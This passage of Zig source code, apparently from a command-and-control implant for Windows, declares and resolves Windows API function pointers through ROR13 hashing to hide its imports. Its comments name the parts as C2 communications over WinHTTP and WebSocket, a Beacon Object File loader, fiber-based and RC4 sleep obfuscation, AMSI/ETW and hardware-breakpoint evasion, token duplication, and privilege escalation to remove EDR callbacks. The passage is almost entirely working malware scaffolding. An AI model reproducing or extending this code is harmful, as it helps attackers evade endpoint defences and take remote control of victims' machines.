pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
// 2b. info.zig — host identification, system version, time
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;
// 2c. fiber.zig — fiber API for Ekko-style sleep (unhooked timers)
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
// 2d. RC4 sleep obfuscation — SystemFunction032, VirtualQuery, VirtualProtect
pub const USTRING = extern struct {
Length: win.ULONG,
MaximumLength: win.ULONG,
Buffer: [*]u8,
};
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
// 2e. comms.zig — WinHTTP + WebSocket C2 comms
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;
// 2f. bof.zig — Beacon Object File loader (COFF->memory->execute)
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
// 2g. crypto.zig — BCrypt ECDH key exchange + AES-GCM encrypt/decrypt
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
// ====================================================================
// Global function-pointer variables — populated by ensure() below
// ====================================================================
// 2a. exec.zig
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
pub var exec_read_file: ?T_exec_ReadFile = null;
pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null;
pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null;
pub var exec_get_last_error: ?T_exec_GetLastError = null;
pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null;
pub var exec_exit_process: ?T_exec_ExitProcess = null;
pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null;
pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null;
pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null;
pub var exec_create_file_a: ?T_exec_CreateFileA = null;
pub var exec_write_file: ?T_exec_WriteFile = null;
pub var exec_open_process_token: ?T_exec_OpenProcessToken = null;
pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null;
pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null;
pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null;
pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null;
pub var exec_create_thread: ?T_exec_CreateThread = null;
pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null;
pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null;
pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null;
pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null;
// 2b. info.zig
pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null;
pub var info_get_user_name_a: ?T_info_GetUserNameA = null;
pub var info_get_system_info: ?T_info_GetSystemInfo = null;
pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null;
pub var info_rtl_get_version: ?T_info_RtlGetVersion = null;
pub var info_get_system_time: ?T_info_GetSystemTime = null;
// 2c. fiber.zig
pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null;
pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null;
pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
// 2d. sleep.zig
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
// 2e. comms.zig
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null;
pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null;
pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null;
pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null;
pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null;
pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null;
pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null;
pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null;
pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null;
pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null;
pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null;
pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null;
pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null;
// 2f. bof.zig
pub var bof_load_library_a: ?T_bof_LoadLibraryA = null;
pub var bof_get_proc_address: ?T_bof_GetProcAddress = null;
pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null;
pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null;
pub var bof_virtual_free: ?T_bof_VirtualFree = null;
pub var bof_virtual_protect: ?T_bof_VirtualProtect = null;
// 2g. crypto.zig
pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null;
pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null;
pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null;
pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null;
pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null;
pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null;
pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null;
pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null;
pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null;
pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null;
pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null;
pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null;
pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null;
pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null;
pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null;
// 2h. AMSI/ETW/HWBP evasion pointers — VEH, thread context, module resolution
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
// HWBP reuses AMSI's VEH/thread APIs — same AddVectoredExceptionHandler under the hood
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
// 2i. privilege escalation — SeDebugPrivilege for EDR callback removal
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null;
pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null;
pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null;
var g_ensure_done: bool = false;
pub fn ensure() void {
if (g_ensure_done) return;
g_ensure_done = true;
const k32_hash = hash_ror13("kernel32.dll");
const ntdll_hash = hash_ror13("ntdll.dll");
const winhttp_hash = hash_ror13("winhttp.dll");
const bcrypt_hash = hash_ror13("bcrypt.dll");
// 2j. kernel32.dll — all exec/info/fiber/sleep/bof/amsi/etw resolution
if (exec_create_pipe == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| {
exec_create_pipe = @ptrCast(p);
}
}
if (exec_create_process_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| {
exec_create_process_a = @ptrCast(p);
}
}
if (exec_read_file == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| {
exec_read_file = @ptrCast(p);
}
}
if (exec_wait_for_single_object == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| {
exec_wait_for_single_object = @ptrCast(p);
}
}
if (exec_get_exit_code_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| {
exec_get_exit_code_process = @ptrCast(p);
}
}
if (exec_get_last_error == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| {
exec_get_last_error = @ptrCast(p);
}
}
if (exec_get_module_file_name_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| {
exec_get_module_file_name_a = @ptrCast(p);
}
}
if (exec_exit_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| {
exec_exit_process = @ptrCast(p);
}
}
if (exec_initialize_proc_thread_attribute_list == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| {
exec_initialize_proc_thread_attribute_list = @ptrCast(p);
}
}
if (exec_update_proc_thread_attribute == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| {
exec_update_proc_thread_attribute = @ptrCast(p);
}
}
if (exec_delete_proc_thread_attribute_list == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| {
exec_delete_proc_thread_attribute_list = @ptrCast(p);
}
}
if (exec_create_file_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| {
exec_create_file_a = @ptrCast(p);
}
}
if (exec_write_file == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| {
exec_write_file = @ptrCast(p);
}
}
if (exec_open_process_token == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| {
exec_open_process_token = @ptrCast(p);
}
}
if (exec_duplicate_token_ex == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| {
exec_duplicate_token_ex = @ptrCast(p);
}
}
if (exec_create_process_with_token_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| {
exec_create_process_with_token_w = @ptrCast(p);
}
}
if (exec_create_pseudo_console == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| {
exec_create_pseudo_console = @ptrCast(p);
}
}
if (exec_close_pseudo_console == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| {
exec_close_pseudo_console = @ptrCast(p);
}
}
if (exec_create_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| {
exec_create_thread = @ptrCast(p);
}
}
if (exec_initialize_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| {
exec_initialize_critical_section = @ptrCast(p);
}
}
if (exec_enter_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| {
exec_enter_critical_section = @ptrCast(p);
}
}
if (exec_leave_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| {
exec_leave_critical_section = @ptrCast(p);
}
}
if (exec_delete_critical_section == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| {
exec_delete_critical_section = @ptrCast(p);
}
}
if (comms_load_library_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
comms_load_library_a = @ptrCast(p);
bof_load_library_a = @ptrCast(p);
}
}
if (info_get_computer_name_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| {
info_get_computer_name_a = @ptrCast(p);
}
}
if (info_get_user_name_a == null) {
if (comms_load_library_a) |la| {
_ = la("advapi32.dll");
}
if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| {
info_get_user_name_a = @ptrCast(p);
}
}
if (info_get_system_info == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| {
info_get_system_info = @ptrCast(p);
}
}
if (info_get_current_process_id == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| {
info_get_current_process_id = @ptrCast(p);
}
}
if (info_get_system_time == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| {
info_get_system_time = @ptrCast(p);
}
}
if (fiber_ConvertThreadToFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| {
fiber_ConvertThreadToFiber = @ptrCast(p);
}
}
if (fiber_CreateFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| {
fiber_CreateFiber = @ptrCast(p);
}
}
if (fiber_SwitchToFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| {
fiber_SwitchToFiber = @ptrCast(p);
}
}
if (fiber_DeleteFiber == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| {
fiber_DeleteFiber = @ptrCast(p);
}
}
if (fiber_ConvertFiberToThread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| {
fiber_ConvertFiberToThread = @ptrCast(p);
}
}
if (sleep_VirtualQuery == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
sleep_VirtualQuery = @ptrCast(p);
}
}
if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
}
if (etw_get_module_handle_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p);
}
if (bof_get_proc_address == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
bof_get_proc_address = @ptrCast(p);
amsi_get_proc_address = @ptrCast(p);
etw_get_proc_address = @ptrCast(p);
}
}
if (bof_get_module_handle_a == null) {
